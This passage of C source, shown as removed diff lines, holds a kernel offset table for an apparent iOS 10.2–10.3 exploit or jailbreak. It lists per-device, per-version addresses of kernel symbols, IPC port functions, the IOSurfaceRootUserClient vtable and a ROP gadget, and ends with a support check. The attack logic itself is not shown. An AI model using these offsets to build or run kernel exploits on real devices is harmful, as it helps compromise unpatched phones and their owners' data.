- OFFSET_COPYOUT = 0xfffffff0071813e0;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f14;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f25538;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006526174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007181218;
- OFFSET_COPYOUT = 0xfffffff00718140c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f7c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1d4;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099aa0;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f25538;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006525174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007181218;
- OFFSET_COPYOUT = 0xfffffff00718140c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f7c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1d4;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099aa0;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f25538;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006525174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- }
-
- // iPhone 5s (Global)
- if(!strcmp(device, "iPhone6,2"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2ca20;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006531fb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
-
- }
-
- // iPhone 5s (GSM)
- if(!strcmp(device, "iPhone6,1"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2ca20;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006531fb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
- }
-
- // iPhone 6+
- if(!strcmp(device, "iPhone7,1"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d028;
- OFFSET_COPYOUT = 0xfffffff00718d21c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006eee1b8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b2174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d37c;
- OFFSET_COPYOUT = 0xfffffff00718d570;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006eee1b8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b2174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d3a8;
- OFFSET_COPYOUT = 0xfffffff00718d59c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006eee1b8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b5174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d3a8;
- OFFSET_COPYOUT = 0xfffffff00718d59c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006eee1b8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b5174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007566360;
- OFFSET_KERNEL_MAP = 0xfffffff0075c2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075c2050;
- OFFSET_REALHOST = 0xfffffff007548a98;
- OFFSET_BZERO = 0xfffffff00708e140;
- OFFSET_BCOPY = 0xfffffff00708df80;
- OFFSET_COPYIN = 0xfffffff00718f76c;
- OFFSET_COPYOUT = 0xfffffff00718f974;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a6200;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b98a0;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5d44;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ef57a0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064c1fb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075c20b8;
- }
-
- }
-
- // iPhone 6s+
- if(!strcmp(device, "iPhone8,2"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071803a0;
- OFFSET_COPYOUT = 0xfffffff007180594;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006462174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071806f4;
- OFFSET_COPYOUT = 0xfffffff0071808e8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006466174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006465174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006465174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007556360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b2050;
- OFFSET_REALHOST = 0xfffffff007538a98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff007182af0;
- OFFSET_COPYOUT = 0xfffffff007182cf8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099fe0;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad680;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099b24;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e84820;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006481fb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b20b8;
- }
-
- }
-
- // iPod touch 6
- if(!strcmp(device, "iPod7,1"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d028;
- OFFSET_COPYOUT = 0xfffffff00718d21c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ef2d78;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00651a174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d37c;
- OFFSET_COPYOUT = 0xfffffff00718d570;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ef2d78;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00651e174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d3a8;
- OFFSET_COPYOUT = 0xfffffff00718d59c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ef2d78;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00651d174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d3a8;
- OFFSET_COPYOUT = 0xfffffff00718d59c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ef2d78;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00651d174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007566360;
- OFFSET_KERNEL_MAP = 0xfffffff0075c2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075c2050;
- OFFSET_REALHOST = 0xfffffff007548a98;
- OFFSET_BZERO = 0xfffffff00708e140;
- OFFSET_BCOPY = 0xfffffff00708df80;
- OFFSET_COPYIN = 0xfffffff00718f76c;
- OFFSET_COPYOUT = 0xfffffff00718f974;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a6200;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b98a0;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5d44;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006efa320;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006529fb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075c20b8;
- }
-
-
- }
-
-
-
- if(!OFFSET_ZONE_MAP)
- {
- LOG("%s on %s isn't supported", device, osversion);
- error = KERN_FAILURE;
- }
- else
- {
- LOG("loading offsets for %s - %s", device, osversion);
- LOG("test offset ZONE_MAP: %llx", OFFSET_ZONE_MAP);
- error = KERN_SUCCESS;
- }
-
- return error;
- }
|